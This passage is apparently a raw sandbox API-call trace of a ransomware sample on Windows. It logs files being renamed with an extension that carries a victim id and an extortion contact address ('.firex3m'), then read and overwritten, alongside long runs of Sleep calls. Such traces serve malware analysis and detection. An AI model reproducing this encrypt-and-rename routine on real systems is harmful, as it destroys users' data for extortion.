RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4b08) returned 0x6fe3bb0 [0275.340] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\REFSPCL.TTF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\refspcl.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ec [0275.345] CloseHandle (hObject=0x5ec) returned 1 [0275.348] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x523ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0275.348] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\REFSPCL.TTF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\refspcl.ttf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\REFSPCL.TTF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\refspcl.ttf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0275.354] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x523ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0275.354] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\REFSPCL.TTF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x523fc6c | out: lpFindFileData=0x523fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x87b72fc9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x87b72fc9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x89c3a0a0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xd028, dwReserved0=0x0, dwReserved1=0x0, cFileName="REFSPCL.TTF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="REFSPC~1.FIR")) returned 0x6d5500 [0275.355] FindClose (in: hFindFile=0x6d5500 | out: hFindFile=0x6d5500) returned 1 [0275.355] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\REFSPCL.TTF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\refspcl.ttf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6c0 [0275.355] GetProcessHeap () returned 0x630000 [0275.355] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x739f200 [0275.355] GetProcessHeap () returned 0x630000 [0275.356] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7273a58 [0275.356] SetFilePointerEx (in: hFile=0x6c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0275.356] ReadFile (in: hFile=0x6c0, lpBuffer=0x739f200, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x523ff0c, lpOverlapped=0x0 | out: lpBuffer=0x739f200*, lpNumberOfBytesRead=0x523ff0c*=0xb400, lpOverlapped=0x0) returned 1 Thread: id = 65 os_tid = 0x12b0 [0067.529] Sleep (dwMilliseconds=0x1) [0067.538] Sleep (dwMilliseconds=0x1) [0067.554] Sleep (dwMilliseconds=0x1) [0067.655] Sleep (dwMilliseconds=0x1) [0067.663] Sleep (dwMilliseconds=0x1) [0067.678] Sleep (dwMilliseconds=0x1) [0067.694] Sleep (dwMilliseconds=0x1) [0067.709] Sleep (dwMilliseconds=0x1) [0067.726] Sleep (dwMilliseconds=0x1) [0067.740] Sleep (dwMilliseconds=0x1) [0067.764] Sleep (dwMilliseconds=0x1) [0067.772] Sleep (dwMilliseconds=0x1) [0067.790] Sleep (dwMilliseconds=0x1) [0067.931] Sleep (dwMilliseconds=0x1) [0068.038] Sleep (dwMilliseconds=0x1) [0068.152] Sleep (dwMilliseconds=0x1) [0068.278] Sleep (dwMilliseconds=0x1) [0068.400] Sleep (dwMilliseconds=0x1) [0068.494] Sleep (dwMilliseconds=0x1) [0068.544] Sleep (dwMilliseconds=0x1) [0068.699] Sleep (dwMilliseconds=0x1) [0068.745] Sleep (dwMilliseconds=0x1) [0068.794] Sleep (dwMilliseconds=0x1) [0068.841] Sleep (dwMilliseconds=0x1) [0068.885] Sleep (dwMilliseconds=0x1) [0068.933] Sleep (dwMilliseconds=0x1) [0068.977] Sleep (dwMilliseconds=0x1) [0069.046] Sleep (dwMilliseconds=0x1) [0069.106] Sleep (dwMilliseconds=0x1) [0069.157] Sleep (dwMilliseconds=0x1) [0069.199] Sleep (dwMilliseconds=0x1) [0069.248] Sleep (dwMilliseconds=0x1) [0069.294] Sleep (dwMilliseconds=0x1) [0069.376] Sleep (dwMilliseconds=0x1) [0069.436] Sleep (dwMilliseconds=0x1) [0069.481] Sleep (dwMilliseconds=0x1) [0069.524] Sleep (dwMilliseconds=0x1) [0069.687] Sleep (dwMilliseconds=0x1) [0069.921] Sleep (dwMilliseconds=0x1) [0070.145] Sleep (dwMilliseconds=0x1) [0070.264] Sleep (dwMilliseconds=0x1) [0070.380] Sleep (dwMilliseconds=0x1) [0070.536] Sleep (dwMilliseconds=0x1) [0070.874] Sleep (dwMilliseconds=0x1) [0071.564] Sleep (dwMilliseconds=0x1) [0071.940] Sleep (dwMilliseconds=0x1) [0072.424] Sleep (dwMilliseconds=0x1) [0072.605] Sleep (dwMilliseconds=0x1) [0072.801] Sleep (dwMilliseconds=0x1) [0072.952] Sleep (dwMilliseconds=0x1) [0073.102] Sleep (dwMilliseconds=0x1) [0073.606] Sleep (dwMilliseconds=0x1) [0073.777] Sleep (dwMilliseconds=0x1) [0073.975] Sleep (dwMilliseconds=0x1) [0074.073] Sleep (dwMilliseconds=0x1) [0074.182] Sleep (dwMilliseconds=0x1) [0074.379] Sleep (dwMilliseconds=0x1) [0074.672] Sleep (dwMilliseconds=0x1) [0074.770] Sleep (dwMilliseconds=0x1) [0074.850] Sleep (dwMilliseconds=0x1) [0074.907] Sleep (dwMilliseconds=0x1) [0074.998] Sleep (dwMilliseconds=0x1) [0075.062] Sleep (dwMilliseconds=0x1) [0075.104] Sleep (dwMilliseconds=0x1) [0075.159] Sleep (dwMilliseconds=0x1) [0075.220] Sleep (dwMilliseconds=0x1) [0075.260] Sleep (dwMilliseconds=0x1) [0075.309] Sleep (dwMilliseconds=0x1) [0075.357] Sleep (dwMilliseconds=0x1) [0075.425] Sleep (dwMilliseconds=0x1) [0075.515] Sleep (dwMilliseconds=0x1) [0075.566] Sleep (dwMilliseconds=0x1) [0075.614] Sleep (dwMilliseconds=0x1) [0075.697] Sleep (dwMilliseconds=0x1) [0075.745] Sleep (dwMilliseconds=0x1) [0075.791] Sleep (dwMilliseconds=0x1) [0075.832] Sleep (dwMilliseconds=0x1) [0076.048] Sleep (dwMilliseconds=0x1) [0076.060] Sleep (dwMilliseconds=0x1) [0076.086] Sleep (dwMilliseconds=0x1) [0076.104] Sleep (dwMilliseconds=0x1) [0076.189] Sleep (dwMilliseconds=0x1) [0076.388] Sleep (dwMilliseconds=0x1) [0076.533] Sleep (dwMilliseconds=0x1) [0076.669] Sleep (dwMilliseconds=0x1) [0076.773] Sleep (dwMilliseconds=0x1) [0076.806] Sleep (dwMilliseconds=0x1) [0076.845] Sleep (dwMilliseconds=0x1) [0076.869] Sleep (dwMilliseconds=0x1) [0076.923] Sleep (dwMilliseconds=0x1) [0076.982] Sleep (dwMilliseconds=0x1) [0077.071] Sleep (dwMilliseconds=0x1) [0077.152] Sleep (dwMilliseconds=0x1) [0077.221] Sleep (dwMilliseconds=0x1) [0077.289] Sleep (dwMilliseconds=0x1) [0077.359] Sleep (dwMilliseconds=0x1) [0077.413] Sleep (dwMilliseconds=0x1) [0077.520] Sleep (dwMilliseconds=0x1) [0077.598] Sleep (dwMilliseconds=0x1) [0077.648] Sleep (dwMilliseconds=0x1) [0077.689] Sleep (dwMilliseconds=0x1) [0077.736] Sleep (dwMilliseconds=0x1) [0077.782] Sleep (dwMilliseconds=0x1) [0077.832] Sleep (dwMilliseconds=0x1) [0077.857] Sleep (dwMilliseconds=0x1) [0077.911] Sleep (dwMilliseconds=0x1) [0077.959] Sleep (dwMilliseconds=0x1) [0077.981] Sleep (dwMilliseconds=0x1) [0078.062] Sleep (dwMilliseconds=0x1) [0078.090] Sleep (dwMilliseconds=0x1) [0078.114] Sleep (dwMilliseconds=0x1) [0078.137] Sleep (dwMilliseconds=0x1) [0078.198] Sleep (dwMilliseconds=0x1) [0078.221] Sleep (dwMilliseconds=0x1) [0078.241] Sleep (dwMilliseconds=0x1) [0078.250] Sleep (dwMilliseconds=0x1) [0078.274] Sleep (dwMilliseconds=0x1) [0078.283] Sleep (dwMilliseconds=0x1) [0078.316] Sleep (dwMilliseconds=0x1) [0078.357] Sleep (dwMilliseconds=0x1) [0078.382] Sleep (dwMilliseconds=0x1) [0078.448] Sleep (dwMilliseconds=0x1) [0078.532] Sleep (dwMilliseconds=0x1) [0078.564] Sleep (dwMilliseconds=0x1) [0078.610] Sleep (dwMilliseconds=0x1) [0078.626] Sleep (dwMilliseconds=0x1) [0078.646] Sleep (dwMilliseconds=0x1) [0078.659] Sleep (dwMilliseconds=0x1) [0078.676] Sleep (dwMilliseconds=0x1) [0078.710] Sleep (dwMilliseconds=0x1) [0078.719] Sleep (dwMilliseconds=0x1) [0078.740] Sleep (dwMilliseconds=0x1) [0078.751] Sleep (dwMilliseconds=0x1) [0078.772] Sleep (dwMilliseconds=0x1) [0078.781] Sleep (dwMilliseconds=0x1) [0078.843] Sleep (dwMilliseconds=0x1) [0078.891] Sleep (dwMilliseconds=0x1) [0078.929] Sleep (dwMilliseconds=0x1) [0078.944] Sleep (dwMilliseconds=0x1) [0078.958] Sleep (dwMilliseconds=0x1) [0078.977] Sleep (dwMilliseconds=0x1) [0079.004] Sleep (dwMilliseconds=0x1) [0079.030] Sleep (dwMilliseconds=0x1) [0079.051] Sleep (dwMilliseconds=0x1) [0079.078] Sleep (dwMilliseconds=0x1) [0079.100] Sleep (dwMilliseconds=0x1) [0079.115] Sleep (dwMilliseconds=0x1) [0079.131] Sleep (dwMilliseconds=0x1) [0079.158] Sleep (dwMilliseconds=0x1) [0079.226] Sleep (dwMilliseconds=0x1) [0079.249] Sleep (dwMilliseconds=0x1) [0079.271] Sleep (dwMilliseconds=0x1) [0079.285] Sleep (dwMilliseconds=0x1) [0079.302] Sleep (dwMilliseconds=0x1) [0079.313] Sleep (dwMilliseconds=0x1) [0079.332] Sleep (dwMilliseconds=0x1) [0079.346] Sleep (dwMilliseconds=0x1) [0079.363] Sleep (dwMilliseconds=0x1) [0079.376] Sleep (dwMilliseconds=0x1) [0079.400] Sleep (dwMilliseconds=0x1) [0079.414] Sleep (dwMilliseconds=0x1) [0079.425] Sleep (dwMilliseconds=0x1) [0079.445] Sleep (dwMilliseconds=0x1) [0079.518] Sleep (dwMilliseconds=0x1) [0079.541] Sleep (dwMilliseconds=0x1) [0079.548] Sleep (dwMilliseconds=0x1) [0079.599] Sleep (dwMilliseconds=0x1) [0079.613] Sleep (dwMilliseconds=0x1) [0079.627] Sleep (dwMilliseconds=0x1) [0079.644] Sleep (dwMilliseconds=0x1) [0079.659] Sleep (dwMilliseconds=0x1) [0079.678] Sleep (dwMilliseconds=0x1) [0079.694] Sleep (dwMilliseconds=0x1) [0079.731] Sleep (dwMilliseconds=0x1) [0079.743] Sleep (dwMilliseconds=0x1) [0079.801] Sleep (dwMilliseconds=0x1) [0079.815] Sleep (dwMilliseconds=0x1) [0079.831] Sleep (dwMilliseconds=0x1) [0079.890] Sleep (dwMilliseconds=0x1) [0079.916] Sleep (dwMilliseconds=0x1) [0079.932] Sleep (dwMilliseconds=0x1) [0079.939] Sleep (dwMilliseconds=0x1) [0079.985] Sleep (dwMilliseconds=0x1) [0080.049] Sleep (dwMilliseconds=0x1) [0080.069] Sleep (dwMilliseconds=0x1) [0080.085] Sleep (dwMilliseconds=0x1) [0080.098] Sleep (dwMilliseconds=0x1) [0080.137] Sleep (dwMilliseconds=0x1) [0080.159] Sleep (dwMilliseconds=0x1) [0080.174] Sleep (dwMilliseconds=0x1) [0080.236] Sleep (dwMilliseconds=0x1) [0080.261] Sleep (dwMilliseconds=0x1) [0080.268] Sleep (dwMilliseconds=0x1) [0080.287] Sleep (dwMilliseconds=0x1) [0080.300] Sleep (dwMilliseconds=0x1) [0080.320] Sleep (dwMilliseconds=0x1) [0080.342] Sleep (dwMilliseconds=0x1) [0080.362] Sleep (dwMilliseconds=0x1) [0080.381] Sleep (dwMilliseconds=0x1) [0080.394] Sleep (dwMilliseconds=0x1) [0080.409] Sleep (dwMilliseconds=0x1) [0080.427] Sleep (dwMilliseconds=0x1) [0080.440] Sleep (dwMilliseconds=0x1) [0080.504] Sleep (dwMilliseconds=0x1) [0080.525] Sleep (dwMilliseconds=0x1) [0080.548] Sleep (dwMilliseconds=0x1) [0080.566] Sleep (dwMilliseconds=0x1) [0080.584] Sleep (dwMilliseconds=0x1) [0080.604] Sleep (dwMilliseconds=0x1) [0080.615] Sleep (dwMilliseconds=0x1) [0080.659] Sleep (dwMilliseconds=0x1) [0080.674] Sleep (dwMilliseconds=0x1) [0080.702] Sleep (dwMilliseconds=0x1) [0080.724] Sleep (dwMilliseconds=0x1) [0080.764] Sleep (dwMilliseconds=0x1) [0080.789] Sleep (dwMilliseconds=0x1) [0080.803] Sleep (dwMilliseconds=0x1) [0080.821] Sleep (dwMilliseconds=0x1) [0080.835] Sleep (dwMilliseconds=0x1) [0080.848] Sleep (dwMilliseconds=0x1) [0080.887] Sleep (dwMilliseconds=0x1) [0080.919] Sleep (dwMilliseconds=0x1) [0080.942] Sleep (dwMilliseconds=0x1) [0080.957] Sleep (dwMilliseconds=0x1) [0080.978] Sleep (dwMilliseconds=0x1) [0080.989] Sleep (dwMilliseconds=0x1) [0081.005] Sleep (dwMilliseconds=0x1) [0081.017] Sleep (dwMilliseconds=0x1) [0081.038] Sleep (dwMilliseconds=0x1) [0081.048] Sleep (dwMilliseconds=0x1) [0081.287] Sleep (dwMilliseconds=0x1) [0081.438] Sleep (dwMilliseconds=0x1) [0081.526] Sleep (dwMilliseconds=0x1) [0081.542] Sleep (dwMilliseconds=0x1) [0081.557] Sleep (dwMilliseconds=0x1) [0081.566] Sleep (dwMilliseconds=0x1) [0081.580] Sleep (dwMilliseconds=0x1) [0081.601] Sleep (dwMilliseconds=0x1) [0081.611] Sleep (dwMilliseconds=0x1) [0081.630] Sleep (dwMilliseconds=0x1) [0081.663] Sleep (dwMilliseconds=0x1) [0081.684] Sleep (dwMilliseconds=0x1) [0081.712] Sleep (dwMilliseconds=0x1) [0081.754] Sleep (dwMilliseconds=0x1) [0081.779] Sleep (dwMilliseconds=0x1) [0081.835] Sleep (dwMilliseconds=0x1) [0081.846] Sleep (dwMilliseconds=0x1) [0081.888] Sleep (dwMilliseconds=0x1) [0081.912] Sleep (dwMilliseconds=0x1) [0081.924] Sleep (dwMilliseconds=0x1) [0081.944] Sleep (dwMilliseconds=0x1) [0081.965] Sleep (dwMilliseconds=0x1) [0081.973] Sleep (dwMilliseconds=0x1) [0081.984] Sleep (dwMilliseconds=0x1) [0082.005] Sleep (dwMilliseconds=0x1) [0082.033] Sleep (dwMilliseconds=0x1) [0082.053] Sleep (dwMilliseconds=0x1) [0082.066] Sleep (dwMilliseconds=0x1) [0082.115] Sleep (dwMilliseconds=0x1) [0082.130] Sleep (dwMilliseconds=0x1) [0082.154] Sleep (dwMilliseconds=0x1) [0082.196] Sleep (dwMilliseconds=0x1) [0082.213] Sleep (dwMilliseconds=0x1) [0082.234] Sleep (dwMilliseconds=0x1) [0082.257] Sleep (dwMilliseconds=0x1) [0082.278] Sleep (dwMilliseconds=0x1) [0082.293] Sleep (dwMilliseconds=0x1) [0082.311] Sleep (dwMilliseconds=0x1) [0082.369] Sleep (dwMilliseconds=0x1) [0082.420] Sleep (dwMilliseconds=0x1) [0082.539] Sleep (dwMilliseconds=0x1) [0082.591] Sleep (dwMilliseconds=0x1) [0082.635] Sleep (dwMilliseconds=0x1) [0082.686] Sleep (dwMilliseconds=0x1) [0082.727] Sleep (dwMilliseconds=0x1) [0082.778] Sleep (dwMilliseconds=0x1) [0082.820] Sleep (dwMilliseconds=0x1) [0082.872] Sleep (dwMilliseconds=0x1) [0082.914] Sleep (dwMilliseconds=0x1) [0082.970] Sleep (dwMilliseconds=0x1) [0083.014] Sleep (dwMilliseconds=0x1) [0083.057] Sleep (dwMilliseconds=0x1) [0083.102] Sleep (dwMilliseconds=0x1) [0083.152] Sleep (dwMilliseconds=0x1) [0083.199] Sleep (dwMilliseconds=0x1) [0083.244] Sleep (dwMilliseconds=0x1) [0083.291] Sleep (dwMilliseconds=0x1) [0083.339] Sleep (dwMilliseconds=0x1) [0083.383] Sleep (dwMilliseconds=0x1) [0083.438] Sleep (dwMilliseconds=0x1) [0083.701] Sleep (dwMilliseconds=0x1) [0083.753] Sleep (dwMilliseconds=0x1) [0083.800] Sleep (dwMilliseconds=0x1) [0083.915] Sleep (dwMilliseconds=0x1) [0084.011] Sleep (dwMilliseconds=0x1) [0084.094] Sleep (dwMilliseconds=0x1) [0084.200] Sleep (dwMilliseconds=0x1) [0084.344] Sleep (dwMilliseconds=0x1) [0084.736] Sleep (dwMilliseconds=0x1) [0084.812] Sleep (dwMilliseconds=0x1) [0084.875] Sleep (dwMilliseconds=0x1) [0084.963] Sleep (dwMilliseconds=0x1) [0085.044] Sleep (dwMilliseconds=0x1) [0085.127] Sleep (dwMilliseconds=0x1) [0085.174] Sleep (dwMilliseconds=0x1) [0085.343] Sleep (dwMilliseconds=0x1) [0085.393] Sleep (dwMilliseconds=0x1) [0085.732] Sleep (dwMilliseconds=0x1) [0085.835] Sleep (dwMilliseconds=0x1) [0085.959] Sleep (dwMilliseconds=0x1) [0086.080] Sleep (dwMilliseconds=0x1) [0086.189] Sleep (dwMilliseconds=0x1) [0086.234] Sleep (dwMilliseconds=0x1) [0086.296] Sleep (dwMilliseconds=0x1) [0086.350] Sleep (dwMilliseconds=0x1) [0086.590] Sleep (dwMilliseconds=0x1) [0086.894] Sleep (dwMilliseconds=0x1) [0087.093] Sleep (dwMilliseconds=0x1) [0087.469] Sleep (dwMilliseconds=0x1) [0089.107] Sleep (dwMilliseconds=0x1) [0090.329] Sleep (dwMilliseconds=0x1) [0091.591] SysReAllocStringLen (in: pbstr=0x537ff7c*=0x0, psz="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml", len=0x2c | out: pbstr=0x537ff7c*="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned 1 [0091.591] GetProcessHeap () returned 0x630000 [0091.591] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b0478, Size=0x14) returned 0x6b01f8 [0091.608] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1053\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6c4 [0091.608] CloseHandle (hObject=0x6c4) returned 1 [0091.608] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x537ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0091.609] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1053\\localizeddata.xml"), lpNewFileName="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\588bce7c90097ed212\\1053\\localizeddata.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0091.609] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x537ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0091.609] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x537fc6c | out: lpFindFileData=0x537fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12f70, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LOCALI~1.FIR")) returned 0x6d51c0 [0091.609] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0091.609] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\588bce7c90097ed212\\1053\\localizeddata.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6c4 [0091.609] GetProcessHeap () returned 0x630000 [0091.610] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x706dbb8 [0091.610] GetProcessHeap () returned 0x630000 [0091.610] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7078fe8 [0091.611] SetFilePointerEx (in: hFile=0x6c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.611] ReadFile (in: hFile=0x6c4, lpBuffer=0x706dbb8, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x537ff0c, lpOverlapped=0x0 | out: lpBuffer=0x706dbb8*, lpNumberOfBytesRead=0x537ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0098.492] GetProcessHeap () returned 0x630000 [0098.492] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6e8a78 [0098.492] SetFilePointerEx (in: hFile=0x6c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.492] WriteFile (in: hFile=0x6c4, lpBuffer=0x7078fe8*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x537ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7078fe8*, lpNumberOfBytesWritten=0x537ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0098.493] SetFilePointerEx (in: hFile=0x6c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.493] WriteFile (in: hFile=0x6c4, lpBuffer=0x70843e7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x537ff0c, lpOverlapped=0x0 | out: lpBuffer=0x70843e7*, lpNumberOfBytesWritten=0x537ff0c*=0x20, lpOverlapped=0x0) returned 1 [0098.493] SetFilePointerEx (in: hFile=0x6c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.493] WriteFile (in: hFile=0x6c4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x537ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x537ff0c*=0x4, lpOverlapped=0x0) returned 1 [0098.493] CloseHandle (hObject=0x6c4) returned 1 [0098.495] GetProcessHeap () returned 0x630000 [0098.495] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7078fe8 | out: hHeap=0x630000) returned 1 [0098.495] GetProcessHeap () returned 0x630000 [0098.495] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x706dbb8 | out: hHeap=0x630000) returned 1 [0098.497] GetProcessHeap () returned 0x630000 [0098.497] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e8a78 | out: hHeap=0x630000) returned 1 [0098.497] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x537ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0098.497] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x537fcc4 | out: lpFindFileData=0x537fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0xa6c2e2, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x12f94, dwReserved0=0xa187496, dwReserved1=0x706dbb0, cFileName="LocalizedData.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LOCALI~1.FIR")) returned 0x6d5500 [0098.497] FindClose (in: hFindFile=0x6d5500 | out: hFindFile=0x6d5500) returned 1 [0098.498] Sleep (dwMilliseconds=0x1) [0099.936] Sleep (dwMilliseconds=0x1) [0101.184] Sleep (dwMilliseconds=0x1) [0101.921] Sleep (dwMilliseconds=0x1) [0102.319] Sleep (dwMilliseconds=0x1) [0102.523] Sleep (dwMilliseconds=0x1) [0102.775] Sleep (dwMilliseconds=0x1) [0102.987] Sleep (dwMilliseconds=0x1) [0103.134] Sleep (dwMilliseconds=0x1) [0103.272] Sleep (dwMilliseconds=0x1) [0103.546] Sleep (dwMilliseconds=0x1) [0105.074] Sleep (dwMilliseconds=0x1) [0107.293] SysReAllocStringLen (in: pbstr=0x537ff7c*=0x0, psz="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx", len=0x35 | out: pbstr=0x537ff7c*="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx") returned 1 [0107.293] GetProcessHeap () returned 0x630000 [0107.293] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b1478, Size=0xc) returned 0x6b12b0 [0107.297] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx" (normalized: "c:\\logs\\microsoft-windows-userpnp%4deviceinstall.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x710 [0107.298] CloseHandle (hObject=0x710) returned 1 [0107.298] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x537ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0107.298] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx" (normalized: "c:\\logs\\microsoft-windows-userpnp%4deviceinstall.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\logs\\microsoft-windows-userpnp%4deviceinstall.evtx.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0107.299] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x537ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0107.299] FindFirstFileW (in: lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x537fc6c | out: lpFindFileData=0x537fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5095bc04, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x5095bc04, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x200100, 